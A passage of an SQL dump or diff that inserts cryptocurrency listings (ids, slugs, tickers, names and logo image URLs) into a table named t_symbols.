'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/keyco.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2849, 'quinads', 'QUIN', 'QUINADS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quinads.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2850, 'vns', 'VNS', 'Venus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vns.png', NULL); +INSERT INTO `t_symbols` VALUES (2851, 'minexcoin', 'MNX', 'MinexCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/minexcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2852, 'alphr', 'ALPHR', 'Alphr finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alphr.png', NULL); +INSERT INTO `t_symbols` VALUES (2853, 'nash', 'NASH', 'NeoWorld Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neoworld-cash.png', NULL); +INSERT INTO `t_symbols` VALUES (2854, 'fuzzballs', 'FUZZ', 'FuzzBalls', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fuzzballs.png', NULL); +INSERT INTO `t_symbols` VALUES (2855, 'hash-power-capital', 'HPC', 'Hash Power Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hash-power-capital.png', NULL); +INSERT INTO `t_symbols` VALUES (2856, 'ocn', 'OCN', 'ocn', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2857, 'eazy-community-node', 'EZY', 'EAZY Community Node', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eazy-community-node.png', NULL); +INSERT INTO `t_symbols` VALUES (2858, 'egypt', 'EGY', 'EGYPT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/egypt.png', NULL); +INSERT INTO `t_symbols` VALUES (2859, 'well', 'WELL', 'WELL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/well.png', NULL); +INSERT INTO `t_symbols` VALUES (2860, 'phantomx', 'PNX', 'Phantomx', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/PhantomX_Coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2861, 'shared-ecological-chain', 'SEC', 'shared-ecological-chain', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2862, 'litecoin-plus', 'LCP', 'Litecoin Plus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litecoin-plus.png', NULL); +INSERT INTO `t_symbols` VALUES (2863, 'touriva', 'TOUR', 'Touriva', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/touriva.png', NULL); +INSERT INTO `t_symbols` VALUES (2864, 'membrana', 'MBN', 'Membrana', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/membrana.png', NULL); +INSERT INTO `t_symbols` VALUES (2865, 'lendconnect', 'LCT', 'LendConnect', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/lendconnect.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2866, 'boosted-finance', 'BOOST', 'Boosted Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boosted-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2867, 'gossipcoin', 'GOSS', 'Gossip Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gossipcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2868, 'hycon', 'HYC', 'Hycon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hycon.png', NULL); +INSERT INTO `t_symbols` VALUES (2869, 'cpuchain', 'CPU', 'CPUchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cpuchain.png', NULL); +INSERT INTO `t_symbols` VALUES (2870, 'galilel', 'GALI', 'Galilel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/galilel.png', NULL); +INSERT INTO `t_symbols` VALUES (2871, 'idex-membership', 'IDXM', 'IDEX Membership', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Aurora_dao.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2872, 'obee-network', 'OBEE', 'Obee Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/obee-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2873, 'xios', 'XIOS', 'Xios', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2874, 'bzlcoin', 'BZL', 'BZLcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bzlcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2875, 'unlimitedip', 'UIP', 'UnlimitedIP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unlimitedip.png', NULL); +INSERT INTO `t_symbols` VALUES (2876, 'precium', 'PCM', 'Precium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/precium.png', NULL); +INSERT INTO `t_symbols` VALUES (2877, 'abao', 'ABAO', 'Aladdin Galaxy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/abao.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2878, 'paycon', 'CON', 'PayCon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/pay_con.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2879, 'ddam', 'DDAM', 'Decentralized Data Assets Management', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ddam.png', NULL); +INSERT INTO `t_symbols` VALUES (2880, 'aigang', 'AIX', 'Aigang', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/aigangnetwork.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2881, 'syndicate', 'SYNX', 'Syndicate', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/syndicate.png', NULL); +INSERT INTO `t_symbols` VALUES (2882, 'x-coin', 'XCO', 'X-Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/x-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2883, 'alphacat', 'ACAT', 'Alphacat', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alphacat.png', NULL); +INSERT INTO `t_symbols` VALUES (2884, 'high-voltage', 'HVCO', 'High Voltage', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/high-voltage.png', NULL); +INSERT INTO `t_symbols` VALUES (2885, 'incodium', 'INCO', 'Incodium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/incodium.png', NULL); +INSERT INTO `t_symbols` VALUES (2886, 'pzc', 'PZC', 'pzc', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2887, 'vectorium-flash', 'VECT', 'Vectorium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vectorium-flash.png', NULL); +INSERT INTO `t_symbols` VALUES (2888, 'ehc', 'EHC', 'Ecosystem Health Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ehc.png', NULL); +INSERT INTO `t_symbols` VALUES (2889, 'smartup', 'SMARTUP', 'SmartUp', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/smartup.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2890, 'livenodes', 'LNO', 'Livenodes', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/livenodes.png', NULL); +INSERT INTO `t_symbols` VALUES (2891, 'chronologic', 'DAY', 'Chronologic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chronologic.png', NULL); +INSERT INTO `t_symbols` VALUES (2892, 'fiscus-fyi', 'FFYI', 'Fiscus.fyi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fiscus-fyi.png', NULL); +INSERT INTO `t_symbols` VALUES (2893, 'wiki-token', 'WIKI', 'Wiki Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wiki-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2894, 'block-array', 'ARY', 'Block Array', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/block-array.png', NULL); +INSERT INTO `t_symbols` VALUES (2895, 'web', 'WEB', 'Webcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/web.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2896, 'mrs', 'MRS', 'Marginless', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mrs.png', NULL); +INSERT INTO `t_symbols` VALUES (2897, 'deuscoin', 'DEUS', 'Deuscoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/deuscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2898, 'dachx', 'DACHX', 'DACH Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dachx.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2899, 'bloc-money', 'BLOC', 'Bloc.Money', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bloc-money.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2900, 'absolute', 'ABS', 'Absolute', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/absolute.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2901, 'mix-blockchain', 'MIX', 'MIX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mix-blockchain.png', NULL); +INSERT INTO `t_symbols` VALUES (2902, 'welltrado', 'WTL', 'Welltrado', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/welltrado.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2903, 'vivo', 'VIVO', 'VIVO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vivo.png', NULL); +INSERT INTO `t_symbols` VALUES (2904, 'theresa-may-coin', 'MAY', 'Theresa May Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/theresa-may-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2905, 'guaranteed-ethurance-token-extra', 'GETX', 'GETX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/guaranteed-ethurance-token-extra.png', NULL); +INSERT INTO `t_symbols` VALUES (2906, 'btc-lite', 'BTCL', 'BTC Lite', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btc-lite.png', NULL); +INSERT INTO `t_symbols` VALUES (2907, 'irishcoin', 'IRL', 'IrishCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/IrishCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2908, 'heartbout', 'HB', 'HeartBout', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/heartbout.png', NULL); +INSERT INTO `t_symbols` VALUES (2909, 'decentralized-crypto-token', 'DCTO', 'Decentralized Crypto Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decentralized-crypto-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2910, 'bitqy', 'BQ', 'Bitqy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitqy.png', NULL); +INSERT INTO `t_symbols` VALUES (2911, 'business-credit-alliance-chain', 'BCAC', 'Business Credit Alliance Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/business-credit-alliance-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (2912, 'kalkulus', 'KLKS', 'Kalkulus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kalkulus.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2913, 'imagecoin', 'IMG', 'ImageCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/imagecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2914, 'edrcoin', 'EDRC', 'EDRCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/edrcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2915, 'mcs', 'MCS', 'Magic stone link', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mcs.png', NULL); +INSERT INTO `t_symbols` VALUES (2916, 'icobid', 'ICOB', 'ICOBID', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/icobid.png', NULL); +INSERT INTO `t_symbols` VALUES (2917, 'tokenstars', 'TEAM', 'TEAM (TokenStars)', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tokenstars.png', NULL); +INSERT INTO `t_symbols` VALUES (2918, 'ice-rock-mining', 'ROCK2', 'ICE ROCK MINING', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ice-rock-mining.png', NULL); +INSERT INTO `t_symbols` VALUES (2919, 'baguette-token', 'BGTT', 'Baguette Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/baguette-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2920, 'guardtoken', 'GUARD', 'GUARD Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/guardtoken.png', NULL); +INSERT INTO `t_symbols` VALUES (2921, 'datx', 'DATX', 'DATx', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/datx.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2922, 'cgen', 'CGEN', 'CGEN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cgen.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2923, 'dimcoin', 'DIM', 'DIMCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dimcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2924, 'trackr', 'TKR', 'CryptoInsight', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trackr.png', NULL); +INSERT INTO `t_symbols` VALUES (2925, 'emergency-coin', 'ENY', 'Emergency Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/emergency-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2926, 'zper', 'ZPR', 'ZPER', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zper.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2927, 'fyooz', 'FYZ', 'Fyooz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fyooz.png', NULL); +INSERT INTO `t_symbols` VALUES (2928, 'useless-ethereum-token', 'UET', 'UET', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/useless-ethereum-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2929, 'sierracoin', 'SIERRA', 'Sierracoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sierracoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2930, 'blast', 'BLAST', 'BLAST', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blast.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2931, 'pivot', 'PVT', 'Pivot', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/5e484725dfdc5a0acb79a98b340f58b7.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2932, 'motionx', 'XMN', 'Motion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/motionx.png', NULL); +INSERT INTO `t_symbols` VALUES (2933, 'songcoin', 'SONG', 'SongCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Songcoin_SONG.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2934, 'secure-cloud-net', 'SCN', 'Secure Cloud Net', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/secure-cloud-net.png', NULL); +INSERT INTO `t_symbols` VALUES (2935, 'spreadcoin', 'SPR', 'SpreadCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spreadcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2936, 'plncoin', 'PLNC', 'PLNcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/plncoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2937, 'neetcoin', 'NEET', 'Neetcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neetcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2938, 'bumbacoin', 'BUMBA', 'BumbaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bumbacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2939, 'datacoin', 'DTC', 'Datacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/datacoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2940, 'hempcoin-hmp', 'HMP', 'HempCoin', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2941, 'devault', 'DVT', 'DeVault', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/devault.png', NULL); +INSERT INTO `t_symbols` VALUES (2942, 'vpp', 'VPP', 'VPP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vpp.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2943, 'rainbow-fund', 'RBF', 'Rainbow Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rainbow-fund.png', NULL); +INSERT INTO `t_symbols` VALUES (2944, 'gmb-platform', 'GMB', 'GMB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gmb-platform.png', NULL); +INSERT INTO `t_symbols` VALUES (2945, 'primestone', 'KKC', 'Kabberry Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/primestone.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2946, 'sharpe-platform-token', 'SHP', 'Sharpe Capital', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sharpe-platform-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2947, 'speedcash', 'SCS', 'Speedcash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/scashdevelopers.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2948, 'ethplode', 'ETHPLO', 'ETHplode', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethplode.png', NULL); +INSERT INTO `t_symbols` VALUES (2949, 'aias', 'AIAS', 'AIAScoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aias.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2950, 'xuez', 'XUEZ', 'Xuez Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xuez.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2951, 'fundrequest', 'FND', 'FundRequest', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fundrequest.png', NULL); +INSERT INTO `t_symbols` VALUES (2952, 'draftcoin', 'DFT', 'DraftCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/draftcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2953, 'belacoin', 'BELA', 'Bela', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/belacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2954, 'krc', 'KRC', 'Kineticex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/krc.png', NULL); +INSERT INTO `t_symbols` VALUES (2955, 'netbox-coin', 'NBX', 'Netbox Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/netbox-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (2956, 'netko', 'NETKO', 'Netko', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/NetkoCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2957, 'civitas', 'CIV', 'Civitas', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/civitas.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2958, 'linx', 'LINX', 'Linx', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/linx.png', NULL); +INSERT INTO `t_symbols` VALUES (2959, 'arbit', 'ARB', 'Arbitrum (IOU)', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arbit.png', NULL); +INSERT INTO `t_symbols` VALUES (2960, 'projectsono', 'SONO', 'SonoCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/projectsono.png', NULL); +INSERT INTO `t_symbols` VALUES (2961, 'senderon', 'SDRN', 'Senderon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/senderon.png', NULL); +INSERT INTO `t_symbols` VALUES (2962, 'gincoin', 'GIN', 'GINcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gincoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2963, 'imp', 'IMP', 'Ether Kingdoms Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/imp.png', NULL); +INSERT INTO `t_symbols` VALUES (2964, 'bitcoin-x', 'BTX', 'Bitcoin X', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2965, 'vice-industry-token', 'VIT', 'Vice Industry Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vice-industry-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2966, 'gold-reward-token', 'GRX', 'GRX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gold-reward-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2967, 'magnet', 'MAG', 'Magnet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/magnet.png', NULL); +INSERT INTO `t_symbols` VALUES (2968, 'bitcoinote', 'BTCN', 'BitcoiNote', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoinote.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2969, 'fincoin', 'FNC', 'FinCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fincoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2970, 'ebitcoin-cash', 'EBCH', 'eBitcoinCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/ebchcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2971, 'inmax', 'INX', 'InMax', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/inmax.png', NULL); +INSERT INTO `t_symbols` VALUES (2972, 'oryxcoin', 'ESTX', 'EstxCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oryxcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2973, 'hrp', 'HRP', 'hrp', NULL, NULL); +INSERT INTO `t_symbols` VALUES (2974, 'ragnarok', 'RAGNA', 'Ragnarok', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ragnarok.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2975, 'brahmaos', 'BRM', 'BrahmaOS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/brahmaos.png', NULL); +INSERT INTO `t_symbols` VALUES (2976, 'payex', 'PAXEX', 'PAXEX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/payex.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2977, 'ozx', 'OZX', 'ozx', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ozx.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2978, 'znt', 'ZNT', 'Zenswap Network ZNT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/znt.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2979, 'kronecoin', 'KRONE', 'Kronecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kronecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2980, 'xdna', 'XDNA', 'XDNA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xdna.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2981, 'blockcat', 'CAT', 'BlockCAT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockcat.png', NULL); +INSERT INTO `t_symbols` VALUES (2982, 'everitoken', 'EVT', 'EveriToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/everitoken.png', NULL); +INSERT INTO `t_symbols` VALUES (2983, 'creatio', 'XCRE', 'Creatio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/creatioteam.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2984, 'fuze-token', 'FUZE', 'FUZE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fuze-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2985, 'steps', 'STEPS', 'Steps', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/AltcoinSteps.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2986, 'ipsum', 'IPS', 'IPSUM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ipsum.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2987, 'carblock', 'CAR', 'CarBlock', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/carblock.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2988, 'bitsend', 'BSD', 'BitSend', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitsend.png', NULL); +INSERT INTO `t_symbols` VALUES (2989, 'ents', 'ENTS', 'EUNOMIA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ents.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2990, 'intelligent-streaming-media-chain', 'ISMC', 'intelligent-streaming-media-chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/%20intelligent-streaming-media-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (2991, 'sum-token', 'SUT', 'sum-token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sum-token.png', NULL); +INSERT INTO `t_symbols` VALUES (2992, 'printerium', 'PRX', 'Printerium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/printerium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (2993, 'bitcoin-subsidium', 'XBTX', 'Bitcoin Subsidium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-subsidium.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (2994, 'oneroot-network', 'RNT', 'OneRoot Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oneroot-network.png', NULL); +INSERT INTO `t_symbols` VALUES (2995, 'deflacoin', 'DEFL', 'Deflacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/deflacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (2996, 'filecash', 'FIC', 'Filecash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/filecash.png', NULL); +INSERT INTO `t_symbols` VALUES (2997, 'decent-bet', 'DBET', 'DecentBet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decent-bet.png', NULL); +INSERT INTO `t_symbols` VALUES (2998, 'ccore', 'CCO', 'Ccore', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ccore.png', NULL); +INSERT INTO `t_symbols` VALUES (2999, 'boolberry', 'BBR', 'Boolberry', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/boolberryteam.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3000, 'slopps', 'SLOPPS', 'SLOPPS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/slopps.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3001, 'skeincoin', 'SKC', 'Skeincoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skeincoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3002, 'kingn-coin', 'KNC', 'KingN Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/KingNCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3003, 'iq-cash', 'IQ', 'IQ.cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iq-cash.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3004, 'fox-trading-token', 'FOXT', 'Fox Trading', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fox-trading-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3005, 'semux', 'SEM', 'Semux', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/semux.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3006, 'kemacoin', 'KEMA', 'KemaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kemacoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3007, 'dogefi', 'DOGEFI', 'DogeFi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dogefi.png', NULL); +INSERT INTO `t_symbols` VALUES (3008, 'gwaycoin', 'GWAY', 